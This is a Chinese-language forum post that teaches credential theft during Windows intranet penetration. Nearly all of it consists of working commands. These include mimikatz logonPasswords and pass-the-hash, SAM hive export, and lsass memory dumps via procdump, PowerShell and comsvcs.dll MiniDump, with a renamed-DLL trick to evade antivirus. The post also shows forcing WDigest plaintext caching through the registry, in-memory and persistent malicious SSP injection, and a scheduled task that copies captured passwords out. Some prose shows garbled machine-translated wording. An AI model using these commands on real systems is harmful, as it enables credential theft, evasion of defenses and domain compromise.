密码抓取技术

打印 上一主题 下一主题

主题 1557|帖子 1557|积分 4671

密码抓取技术

在内网渗透过程中,拿到机器甚至域控的密码或者hash是非常重要的,今天重要为大家介绍一下内网中密码抓取的一些技术。
密码抓取方法

使用mimikatz

提权到debug权限
  1. privilege::debug
复制代码
mimikatz有非常多模块和下令,可以使用下令
  1. sekurlsa::logonPasswords
复制代码
此下令是用各种方法来读取明文密码

mimikatz常用模块和下令
  1. cls:                清屏
  2. standard:        标准模块,基本命令
  3. crypto:                加密相关模块
  4. sekurlsa:        与证书相关的模块
  5. kerberos:        kerberos模块
  6. privilege:        提权相关模块
  7. process:        进程相关模块
  8. serivce:        服务相关模块
  9. lsadump:        LsaDump模块
  10. ts:                        终端服务器模块
  11. event:                事件模块
  12. misc:                杂项模块
  13. token:                令牌操作模块
  14. vault:                Windows 、证书模块
  15. minesweeper:Mine Sweeper模块
  16. net:
  17. dpapi:                DPAPI模块(通过API或RAN访问》[数据保护应用程序编程接口]
  18. busylight:        BusyLight 模块
  19. sysenv:                系统环境值模块
  20. sid:                安全标识符模块
  21. iis:                IIS XML配贸模块
  22. rpc:                mimikatz的RPC控制
  23. sr98:                用于SR98设备和T5577目标的RF模块
  24. rdm:                RDM(830AL)器件的射频模块
  25. acri                ACR模块
  26. version:        查看版本
  27. exit:                退出
复制代码
  1. privilege模块
  2. privilege::debug  提升为debug权限
  3. sekurlsa:模块,从lsass进程中提取passwords、keys、pin、tickets等信息
  4. sekurlsa::msv   获取HASH(LM,NTLM)
  5. sekurlsa::wdigest        通过可逆的方式去内存中读取明文密码
  6. sekurlsa::Kerberos        假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码
  7. sekurlsa::tspkg                通过tspkg读取明文密码
  8. sekurlsa::livessp        通过livessp读取明文密码
  9. sekurlsa::ssp                通过ssp读取明文密码
  10. sekurlsa::logonPasswords        通过以上各种方法读取明文密码
  11. sekurlsa::process        将自己的进程切换到lsass进程中,之前只是注入读取信息
  12. sekurlsa::minidumpfile        这个模块可以读取已经打包的内存信息
  13. sekurlsa::pth        哈希传递
  14. sekurlsa::pth /user:administrator/domain:host1 /ntlm:cdf34cda4e455232323xxxx
  15. sekurlsa::pth /user:administrator/domain:host1 /aes256:cdf34cda4e455232323xxxx
复制代码
  1. process模块
  2. process::list                列出进程列表
  3. process::exports        导出进程列表
  4. process::imports        导入列表
  5. process::start                 开始一个进程
  6. process::stop                停止一个程序
  7. process::suspend        冻结一个进程
  8. process::resume                从冻结中恢复
  9. process::run        运行一个程序
  10. process::runp                以SYSTEM系统权限打开一个新的mimikatz窗口
复制代码
通过mimikatz在线读取SAM文件
  1. 分开命令如下
  2. privilege::debug
  3. token::elevate
  4. lsadump::sam
  5. 连起来
  6. mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
复制代码

通过离线读取SAM文件

离线读取的意思就是将SAM文件复制到我们自己的电脑上,然后再用工具读取,离线读取在一定程度上可以躲避杀软
先通过工具或者脚本导出SAM文件
1.通过reg下令导出
  1. reg save hklm\sam sam.hive
  2. reg save hklm\system syetem.hive
复制代码
2.使用PS脚本(Copy-VSS)
  1. powershell-import Copy-VSS.ps1
  2. powershell Copy-VSS
复制代码

然后将文件下载到当地,再进行读取
  1. lsadump::sam /sam:sam.hive /system:system.hive
复制代码
可以在CS服务端里找到

下载后再用mimikatz读取
在线读取lsass历程中的内存密码

依然使用mimikatz,这里不多叙述
离线读取lsass历程中的内存密码

离线读取重要就是如何导出文件
导出方式1:使用任务管理器
如果可以远程连接对方电脑,比如使用向日葵

导出方式2:使用procdump导出lsass.dump文件
procdump是一个下令行实用工具,重要用途是在管理员或开发人员可用于确定峰值缘故原由的峰值期间监视CPU峰值和天生故障转储的应用步伐,因此微软的一样平常不会被杀掉。
下载地点:https://docs.microsoft.com/en-us/sysinternals/downloads/procdump
  1. procdump.exe -accepteula -ma lsass.exe lsass.dmp
  2. 其中-acceptula是为了绕过弹窗
复制代码

导出方式3:使用powershell脚本(Out-MiniDump.ps1)
  1. powershell-import Out-MiniDump.ps1
  2. powershell Get-Process lsass | Out-Minidump
复制代码

导出方式4:使用comsvcs.dll的导出函数MiniDump实现dump内存
comsvcs.dll是系统自带的
首先检察lsass.exe历程PID
  1. tasklist | findstr lsass.exe
复制代码
使用powershell导出
  1. rundll32 C:\windows\system32\comsvcs.dll,MiniDump PID
  2. C:\lsass.dump full
复制代码

再对导出的文件进行读取
  1. mimikatz.exe "sekurlsa::minidump lsass.dump" "sekurlsa::logonPasswords full"
复制代码
注意:此方法在导出时可能被杀软拦截,简单的绕过方法
copy一下comsvcs.dll并命名为随意名字,比方com.dll
copy C:\windows\System32\comsvcs.dll com.dll
rundll32.exe com.dll, MiniDump 508 lsass.dmp full
同时复制后的dll存放目标不要是系统的敏感目录,比如system32,否则可能被拦截
高版本密码抓取

win7,Win2008如许的机器内存中是存储明文密码的,但在2012之后的机器(win10,win8,win11,2012,2016)或者安装了KB2971997补丁,内存中就不再存储明文密码了
这里以Windowsserver2012为例

修改wdigest注册表获取系统密码

在Windows2012系统及其以上版本,默认在内存缓存中禁止保存明文密码,攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才气乐成抓取
1.先查询是否存在该值
  1. reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
复制代码

2.修改UseLogonCredential值为1,注意一定要是最高管理员权限
  1. reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
复制代码

3.现在内存中就可以存储明文密码了,但由于密码在内存中,需要锁屏或者注销用户然后重新登录,内存中就保留密码了
  1. rundll32.exe user32.dll,LockWorkStation      锁屏
复制代码
  1. query user                                   查询登录
复制代码
  1. logoff ID                                     注销用户
复制代码

乐成抓取到明文密码
内存注入SSP获取系统密码

在mimikatz中,有写好的恶意的SSP,他可以提供当地认证时对明文账号密码进行记载,我们需要将SSP注入到系统内存中,就可以获取当地的明文账号密码,由于是注入内存以是重启之后就失效了。
第一步:将SSP注入内存,有两种方式:
1.使用mimikatz:
  1. misc::memssp
复制代码

2.使用PS脚本:
  1. Import-Module .\InvokeMimikatz.ps1
  2. Invoke-Mimikatz -Command "misc::memssp"
复制代码
第二步:进行锁屏等操作
等待管理员输入争取的账号密码后在C:\Windows\System32\mimilsa.log,存放精确的账号密码

cs里面读不了mimilsa.log文件
办理方法:
可以通过筹划任务来办理
设置筹划任务把这个文件copy到桌面,或者发送到你的云上
  1. schtasks /create /tn copy /sc onstart /tr C:\Users\Administrator\Desktop\1.bat /ru system /f
  2. schtasks /run /i /tn "copy"
  3. bat文件
  4. echo copy C:\Windows\System32\mimilsa.log C:\Users\Administrator\Desktop\1.txt > 1.bat
复制代码

如许桌面就会复制出来,可以检察到明文密码

注册表添加SSP获取系统密码

刚才讲到将SSP注入到内存中,有一个毛病就是在电脑重启之后就会失效,如果想要永久收效就需要将SSP添加到注册表中,之后系统重启就会加载SSP,如许就能获取明文账号密码
第一步:在mimikatz中有一个mimilib.dll文件,这个就是SSP,将这个文件复制到C:\Windows]System32目录下

第二步:修改注册表,重启之后就会加载SSP
  1. reg add HKLM\SYSTEM\CurrentContrilSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
复制代码
密码将会天生在C:\Windows\System32\kiwissp.log

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

张春

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表